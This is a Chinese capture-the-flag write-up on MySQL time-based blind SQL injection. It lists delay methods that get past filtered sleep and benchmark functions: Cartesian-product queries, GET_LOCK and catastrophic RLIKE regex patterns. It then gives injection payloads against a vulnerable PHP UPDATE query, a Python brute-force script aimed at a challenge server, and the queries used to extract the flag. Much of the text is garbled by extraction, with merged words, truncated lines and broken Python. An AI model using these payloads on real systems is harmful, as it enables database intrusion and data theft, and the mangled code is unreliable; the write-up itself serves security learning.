mysql延迟_MySQL时间盲注五种延时⽅法(PWNHUB⾮预期
解)
PWNHUB ⼀道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时⽅法的思考。
延时函数
SLEEP
mysql> select sleep(5);+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
BENCHMARK
mysql> select benchmark(10000000,sha(1));+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> SELECT count(*) lumns A, lumns B, information_schema.tables C;+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)
GET_LOCK Writeup
延时精确可控,利⽤环境有限,需要开两个session测试。
SESSION A
mysql> select get_lock('test',1);+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00sec)
SESSION B
mysql> select get_lock('test',5);+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
RLIKE
通过rpad或repeat构造长字符串,加以计算量⼤的pattern,通过repeat的参数可以控制延时长短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
PWNHUB-全宇宙最简单的PHP-Writeup
{die("you bad bad!");
}$sql = "select * from article where id='".intval($id)."'";$res = mysql_query($sql);if(!$res){die("404 not found!");
}$row = mysql_fetch_array($res,MYSQL_ASSOC);mysql_query("update view set view_times=view_times+1 where id = '".$id." '");?>
上⾯代码明显可从id参数注⼊代码到MySQL UPDATE语句。
从时间盲注的⾓度解,题中除过滤掉sleep和benchmark两个延时函数之外,并⽆其他限制。
思路:寻新的延时函数
想到⽇常数据开发中⾃⼰的SQL中多次因正则消耗计算资源,⼜想到某次⽩帽⼤会上关于正则Dos的议题,然后开始朝RLIKE尝试。
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpa RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代码等同于 sleep(5)
本地测试
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from
dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,99999 RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK,0 rows affected (5.08sec)
Rows matched:0 Changed: 0 Warnings: 0mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select
5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,' RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK,0 rows affected (0.00sec)
Rows matched:0 Changed: 0 Warnings: 0
Docker起了个PHP 5.6+MySQL,代码copy过去,构建相同环境测试脚本,爆破到正确字符时,测试机会延时10s左右;遇到错误字符会
在0.1s以内返回,可以明显区分。
本地测试执⾏version()的结果:
N - 0.0232281684875O- 0.0197539329529P- 0.028*********Q- 0.0212018489838R- 0.0244557857513S-
0.0253188610077T- 0.0281682014465U- 0.0236928462982V- 0.0221898555756W- 0.0275118350983X-
0.0206508636475Y- 0.0258479118347Z- 0.0194098949432@- 0.0250370502472{- 0.0211541652679}-
0.0245869159698
- - 0.0192731937281_- 0.0247149467468.- 0.0188128948212ErrororFinished.Current Result: 5.5.59-
0ubuntu0.14.04.1[NULL][NULL]
线上测试
线上就很蛋疼了。⾸先环境是每5min重启⼀次,每次只能在重启的瞬间(0.5s)打上10条请求,然后服务器就被⽤笛卡尔积的同学打挂了。
⼆分法懒得搞了,在脚本⾥加了⼀些纠错机制,线上环境正误尝试的时间差降为0.2s左右,但仍可以区分。
#!/usr/bin/env python#-*- coding: utf-8 -*-
ptions importReadTimeout, ConnectionErrorfrom urllib importquoteimporttimeimportre
payloads= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.'url=
'52.80.179.198:8080/article.php?id='
#url = 'localhost:8090/article.php?id='
#替代sleep()#14s#sleep_func =
"concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1, RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
#5s
sleep_func =
"concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1, RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
#本地测试代码
defrun_local(query):defbrute_single_char(target_index):for c inpayloads:
payload= "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
confirm_cnt=0#print payload
for i in range(10000): #为了宕机重试
if confirm_cnt > 3: #连续四次正确尝试,保存结果
print 'FOUND' +creturnc
time_start=time.time()try:
req= (url + quote(payload), timeout=20)if 'Warning' tif 'helloworld' not
#t
continue
except ReadTimeout: #时间长:正确尝试
print c, '- timeout, '
#confirm_cnt += 1
continue
exceptConnectionError:print c, 'Web Server Down, '
continue
#t
time_end =time.time()print c, '-', time_end -time_startif time_end - time_start < 5: #时间短:错误尝试
#print 'false:' + c
breakconfirm_cnt+= 1
return '[NULL]' #全部字母未命中
result= ''
try:for index in range(1, 100):if len(re.findall(r'\[NULL\]', result)) > 2:print 'Error or Finished. \nCurrent Result:'
+resultreturnresult+=brute_single_char(index)exceptKeyboardInterrupt:printresult#线上测试代码
defrun_sort(query):defbrute_single_char(target_index):
timelist={}for c inpayloads:
payload= "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)for i in range(10000): #为了宕机重试
time_start =time.time()try:
req= (url + quote(payload), timeout=2)if 'helloworld' t:continue
exceptReadTimeout:print c, '- timeout, '
continue
exceptConnectionError:continuetime_end=time.time()print c, '-', time_end -time_start
timelist[c]= time_end -time_startbreak
if notlen(timelist):return '[NULL]' #全部字母未命中
rec = sorted(timelist.items(), key=lambda item: item[1])printrecreturn rec[-1]
result=[]try:for index in range(7, 100):print '________INDEX {}_______'.format(index)
result.append(brute_single_char(index))if result[-1] is '[NULL]':print 'Error or Finished. \nCurrent Result:'
printresultreturn
exceptKeyboardInterrupt:printresultif __name__ == '__main__':
run_sort('(select * from flags)')
以下爆破结果中,3为正确结果,其余为错误结果。
1 - 0.0639481544495
2 - 0.0795040130615
3 - 0.3621571064
4 - 0.0846300125122
5 - 0.0894010066986
php延时函数
6 - 0.0945949554443
7 - 0.0842099189758
8 - 0.0861508846283
9 - 0.0922508239746
之后依次执⾏以下代码get flag(跑了多少个⼩时我也不知道。。。)
select count(*) from article -> 3database()->post
select count(table_name)from information_schema.tables where table_schema='post' -> 3select length(table_name)from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5
select table_namefrom information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and
table_name<>\'view\' -> flags
select count(*) from flags -> 1select* from flag